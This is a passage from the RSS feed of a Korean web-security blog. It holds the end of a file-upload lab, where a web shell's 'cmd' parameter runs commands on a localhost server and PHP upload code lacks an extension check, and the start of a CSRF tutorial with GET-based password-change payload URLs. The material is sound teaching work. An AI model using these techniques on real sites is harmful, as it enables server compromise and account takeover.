&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;398&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbfTTq/btsOUG6DeOq/jicEILMUrXVukDk2fki6NK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbfTTq/btsOUG6DeOq/jicEILMUrXVukDk2fki6NK/img.png&quot; data-alt=&quot;파일 업로드한 뒤 게시글에 접속했을 때&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbfTTq/btsOUG6DeOq/jicEILMUrXVukDk2fki6NK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbfTTq%2FbtsOUG6DeOq%2FjicEILMUrXVukDk2fki6NK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;577&quot; height=&quot;243&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;398&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;파일 업로드한 뒤 게시글에 접속했을 때&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일&amp;nbsp;업로드를&amp;nbsp;한&amp;nbsp;뒤의&amp;nbsp;해당&amp;nbsp;게시글에&amp;nbsp;접속해&amp;nbsp;보면&amp;nbsp;위와&amp;nbsp;같이&amp;nbsp;나오는&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있습니다.&amp;nbsp;웹&amp;nbsp;쉘&amp;nbsp;공격에&amp;nbsp;핵심&amp;nbsp;중&amp;nbsp;하나는&amp;nbsp;&lt;span style=&quot;color: #ee2323;&quot;&gt;'웹쉘&amp;nbsp;코드가&amp;nbsp;업로드된&amp;nbsp;경로를&amp;nbsp;알아야&amp;nbsp;한다'&lt;/span&gt;라고&amp;nbsp;했었습니다.&amp;nbsp;따라서&amp;nbsp;업로드&amp;nbsp;한&amp;nbsp;파일이&amp;nbsp;어디에&amp;nbsp;있는지를&amp;nbsp;찾아야&amp;nbsp;합니다.&amp;nbsp;&lt;b&gt;찾는&amp;nbsp;방법은&amp;nbsp;파일&amp;nbsp;다운로드&amp;nbsp;또는&amp;nbsp;파일을&amp;nbsp;다운로드&amp;nbsp;할&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;그런&amp;nbsp;버튼이&amp;nbsp;있다면&amp;nbsp;마우스&amp;nbsp;우클릭을&amp;nbsp;하여&amp;nbsp;링크&amp;nbsp;주소&amp;nbsp;복사를&amp;nbsp;해줍니다.&lt;/b&gt; &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;599&quot; data-origin-height=&quot;502&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dLLCTF/btsOTcZjbUf/pkHI0mx3qNODzPyVNRoJ4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dLLCTF/btsOTcZjbUf/pkHI0mx3qNODzPyVNRoJ4K/img.png&quot; data-alt=&quot;파일을 다운받을 수 있는 버튼에 우클릭 했을 때&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dLLCTF/btsOTcZjbUf/pkHI0mx3qNODzPyVNRoJ4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdLLCTF%2FbtsOTcZjbUf%2FpkHI0mx3qNODzPyVNRoJ4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;535&quot; height=&quot;448&quot; data-origin-width=&quot;599&quot; data-origin-height=&quot;502&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;파일을 다운받을 수 있는 버튼에 우클릭 했을 때&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 복사한 주소를 주소창에 입력해서 접속을 해보면 다음과 같이 에러가 나오는데 이는 파라미터값이 전달되지 않았기 때문입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;923&quot; data-origin-height=&quot;493&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ba89Ou/btsOUVWjySS/Kynnu932SpfXn3FqzTkDLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ba89Ou/btsOUVWjySS/Kynnu932SpfXn3FqzTkDLk/img.png&quot; data-alt=&quot;파일 경로를 복사하여 주소창에 입력했을 때&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ba89Ou/btsOUVWjySS/Kynnu932SpfXn3FqzTkDLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fba89Ou%2FbtsOUVWjySS%2FKynnu932SpfXn3FqzTkDLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;583&quot; height=&quot;311&quot; data-origin-width=&quot;923&quot; data-origin-height=&quot;493&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;파일 경로를 복사하여 주소창에 입력했을 때&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아까 봤던 webshell 코드 내용을 보면 파라미터 이름은 cmd 였습니다. 이제 파라미터 값으로 사용자의 현재 경로를 알려주는 명령어인 pwd를 입력하여 서버에서 명령어가 실행되는지 확인해봅니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;530&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/si938/btsOS83LBOQ/Xo5FkIXsa3SsTsV0NKAcS0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/si938/btsOS83LBOQ/Xo5FkIXsa3SsTsV0NKAcS0/img.png&quot; data-alt=&quot;파리미터 값으로 현재 경로를 출력해주는 명령어를 입력했을 때&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/si938/btsOS83LBOQ/Xo5FkIXsa3SsTsV0NKAcS0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fsi938%2FbtsOS83LBOQ%2FXo5FkIXsa3SsTsV0NKAcS0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;687&quot; height=&quot;388&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;530&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;파리미터 값으로 현재 경로를 출력해주는 명령어를 입력했을 때&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 사진을 보면 사용자가 파라미터에 값(명령어)을 줬을 때 해당 명령어가 실행되어 화면에 출력되는 것을 볼 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;[ FileUpload 기능 구현 코드]&lt;/h3&gt;
&lt;pre id=&quot;code_1753592412546&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if (isset($_FILES['file']) &amp;amp;&amp;amp; $_FILES['file']['error'] === 0) {
            $file = $_FILES['file'];
            $fileName = basename($file['name']);
            $fileTmpName = $file['tmp_name'];
            $fileSize = $file['size'];
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드는 실습 사이트에서 사용했던 파일 업로드 기능을 처리하는 코드입니다. 실습에서 &lt;b&gt;.php&lt;/b&gt; 파일을 업로드 할 수 있었던 이유는 파일 확장자를 검사하는 로직이 없었기 때문입니다. 따라서 웹쉘 파일을 이용하여 악용하는 것을 방지하기 위해서는 파일 확장자를 검사하는 로직을 추가해야 합니다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실습을 통해 파일 업로드 취약점에 대해서 알아봤는데 파일 업로드 취약점도 여러 우회 기법이 존재합니다. 다른 글에서 우회 기법들을 알아보면서 어떻게 대응할 수 있는지도 함께 알아보겠습니다.&lt;/p&gt;</description>
      <category>[WEB] 모의해킹/File Upload</category>
      <category>FileUpload</category>
      <category>모의해킹</category>
      <category>정보보안</category>
      <category>파일 업로드</category>
      <category>파일업로드</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/9</guid>
      <comments>https://code000.tistory.com/entry/%F0%9F%93%8CFile-Upload-%EC%B7%A8%EC%95%BD%EC%A0%90#entry9comment</comments>
      <pubDate>Sun, 27 Jul 2025 15:43:00 +0900</pubDate>
    </item>
    <item>
      <title> CSRF (Cross-Site Request Forgery)</title>
      <link>https://code000.tistory.com/entry/%F0%9F%93%8CCSRF-Cross-Site-Request-Forgery</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;| CSRF&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요청을 위조하여 서버로부터 해당 요청을 하게 만드는 공격.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;| CSRF가 발생할 수 있는 곳&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 요청에서 CSRF는 발생할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  CSRF vs XSS&amp;nbsp;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 51px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 17px; text-align: center;&quot;&gt;&lt;b&gt;CSRF&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px; text-align: center;&quot;&gt;&lt;b&gt;XSS&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 17px; text-align: center;&quot;&gt;서버측 공격&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px; text-align: center;&quot;&gt;클라이언트측 공격&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 17px; text-align: center;&quot;&gt;스크립트 삽입하지 않아도 실행됨.&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px; text-align: center;&quot;&gt;스크립트를 삽입하여 하는 공격&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) CSRF, XSS는 서로 다른 종류의 공격이지만 CSRF를 XSS와 연계했을때 시너지가 좋습니다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;▶️ 공격방식(요청 위조시)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSRF는 요청을 위조하여 서버 측에서 실행시키도록 하는 공격입니다. 이때 &lt;b&gt;GET Method, POST Method&amp;nbsp;&lt;/b&gt;2가지 방법으로 CSRF 공격을 수행할 수 있습니다. 실습을 해보면서 GET Method, POST Method 각각에서 어떻게 CSRF 공격이 수행되는지 살펴보겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  CSRF - GET Method 찾아보기&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어떤 웹사이트에서 정말 간단한 비밀번호 변경 페이지가 있다고 가정합니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;773&quot; data-origin-height=&quot;502&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RUjvd/btsOd0FfSsj/sKyWQpeLDhOEVBlcyhXeaK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RUjvd/btsOd0FfSsj/sKyWQpeLDhOEVBlcyhXeaK/img.png&quot; data-alt=&quot;비밀번호 변경페이지&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RUjvd/btsOd0FfSsj/sKyWQpeLDhOEVBlcyhXeaK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRUjvd%2FbtsOd0FfSsj%2FsKyWQpeLDhOEVBlcyhXeaK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;530&quot; height=&quot;344&quot; data-origin-width=&quot;773&quot; data-origin-height=&quot;502&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;비밀번호 변경페이지&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 새로운 비밀번호를 입력해 주고 비밀번호 변경을 했을 때 요청, 응답 데이터를 취득하여 확인합니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;460&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cpMfa7/btsOnqu47PH/lITUPvVLwXU09YfKo9JnPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cpMfa7/btsOnqu47PH/lITUPvVLwXU09YfKo9JnPK/img.png&quot; data-alt=&quot;비밀번호 변경 시 요청 및 응답 데이터(1)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cpMfa7/btsOnqu47PH/lITUPvVLwXU09YfKo9JnPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcpMfa7%2FbtsOnqu47PH%2FlITUPvVLwXU09YfKo9JnPK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;670&quot; height=&quot;328&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;460&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;비밀번호 변경 시 요청 및 응답 데이터(1)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;450&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cfT1pO/btsOleiRwUk/ZT8MEXgaWmWIaOJNerS4mK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cfT1pO/btsOleiRwUk/ZT8MEXgaWmWIaOJNerS4mK/img.png&quot; data-alt=&quot;비밀번호 변경 시 요청 및 응답 데이터(2)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cfT1pO/btsOleiRwUk/ZT8MEXgaWmWIaOJNerS4mK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcfT1pO%2FbtsOleiRwUk%2FZT8MEXgaWmWIaOJNerS4mK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;689&quot; height=&quot;330&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;450&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;비밀번호 변경 시 요청 및 응답 데이터(2)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요청 데이터 부분을 확인해 보면 데이터 전송 방식이 POST Method인 것을 알 수 있으며 파라미터 정보들 또한 알 수 있습니다. &lt;b&gt;이제 해당 요청을 보낼 때 POST Method가 아닌 GET Method 방식으로 데이터를 전송하여 GET Method 방식으로도 비밀번호 변경이 가능한지 확인&lt;/b&gt;합니다. (이전 비밀번호: 1234, &lt;span style=&quot;color: #ee2323;&quot;&gt;변경할 비밀번호: 123&lt;/span&gt;)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1140&quot; data-origin-height=&quot;519&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nobfe/btsOmw3QVOC/zscXynE1f4AV4FQoi5BbFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nobfe/btsOmw3QVOC/zscXynE1f4AV4FQoi5BbFk/img.png&quot; data-alt=&quot;GET Method로 비밀번호 변경을 시도 했을 때 요청 및 응답 데이터&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nobfe/btsOmw3QVOC/zscXynE1f4AV4FQoi5BbFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fnobfe%2FbtsOmw3QVOC%2FzscXynE1f4AV4FQoi5BbFk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;788&quot; height=&quot;359&quot; data-origin-width=&quot;1140&quot; data-origin-height=&quot;519&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;GET Method로 비밀번호 변경을 시도 했을 때 요청 및 응답 데이터&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바로 위 사진과 같이 GET Method 형태로 바꾼 뒤 해당 요청을 전송을 합니다. 변경된 비밀번호로 로그인을 해보면 성공적으로 비밀번호가 바뀐 것을 알 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dPtTOe/btsOh3nDNgx/DQYgjMfxsVpYPrgOJKuvyK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dPtTOe/btsOh3nDNgx/DQYgjMfxsVpYPrgOJKuvyK/img.png&quot; width=&quot;531&quot; height=&quot;337&quot; data-origin-width=&quot;500&quot; data-origin-height=&quot;317&quot; data-filename=&quot;blob&quot; data-is-animation=&quot;false&quot; style=&quot;width: 42.7937%; margin-right: 10px;&quot; data-widthpercent=&quot;43.3&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dPtTOe/btsOh3nDNgx/DQYgjMfxsVpYPrgOJKuvyK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdPtTOe%2FbtsOh3nDNgx%2FDQYgjMfxsVpYPrgOJKuvyK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;317&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TLRTr/btsOjfAA7IH/NYX7ZiKjiSD85WDkqehIH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TLRTr/btsOjfAA7IH/NYX7ZiKjiSD85WDkqehIH1/img.png&quot; width=&quot;529&quot; height=&quot;256&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;457&quot; data-is-animation=&quot;false&quot; style=&quot;width: 56.0435%;&quot; data-widthpercent=&quot;56.7&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TLRTr/btsOjfAA7IH/NYX7ZiKjiSD85WDkqehIH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTLRTr%2FbtsOjfAA7IH%2FNYX7ZiKjiSD85WDkqehIH1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;944&quot; height=&quot;457&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;GET Method로 변경된 비밀번호 입력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GET Method를 통해 비밀번호 변경을 요청할 때 URL 링크를 확인하면 다음과 같습니다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1748508574369&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/update_info.php?new_password=123&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저는 localhost 환경에서 테스트하고 있기 때문에 &lt;b&gt;전체 주소&lt;/b&gt;는 다음과 같습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1748508709288&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://localhost/update_info.php?new_password=123&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[중요]&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 여기서 해당 웹사이트를 이용하고 있는 어떤 사용자가 바로 위 주소로 접속하게 된다면? =&amp;gt; &lt;b&gt;비밀번호가 123으로 바뀌게 됩니다.&lt;/b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그아웃을 한 뒤 다른 계정으로 접속하고 해당 링크를 클릭하여 정말 비밀번호가 변경되는지 확인해 보겠습니다. 현재 접속한 계정 정보는 다음과 같습니다. (사용자 아이디: sudo, 비밀번호: 1234)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;447&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRXLnS/btsOmqWSFKT/7gI7WLTM8ZhI0kUrAUn7EK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRXLnS/btsOmqWSFKT/7gI7WLTM8ZhI0kUrAUn7EK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRXLnS/btsOmqWSFKT/7gI7WLTM8ZhI0kUrAUn7EK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRXLnS%2FbtsOmqWSFKT%2F7gI7WLTM8ZhI0kUrAUn7EK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;649&quot; height=&quot;307&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;447&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 상태에서 사용자가 비밀번호를 변경하는 URL 링크 주소에 접속해 보겠습니다. 페이로드는 다음과 같습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1748509441068&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://localhost/update_info.php?new_password=change&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;925&quot; data-origin-height=&quot;453&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NztVd/btsOnqPn99R/tYnL5KxQrToGiexoJ74xn1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NztVd/btsOnqPn99R/tYnL5KxQrToGiexoJ74xn1/img.png&quot; data-alt=&quot;비밀번호 변경 URL 링크 입력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NztVd/btsOnqPn99R/tYnL5KxQrToGiexoJ74xn1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNztVd%2FbtsOnqPn99R%2FtYnL5KxQrToGiexoJ74xn1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;654&quot; height=&quot;320&quot; data-origin-width=&quot;925&quot; data-origin-height=&quot;453&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;비밀번호 변경 URL 링크 입력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
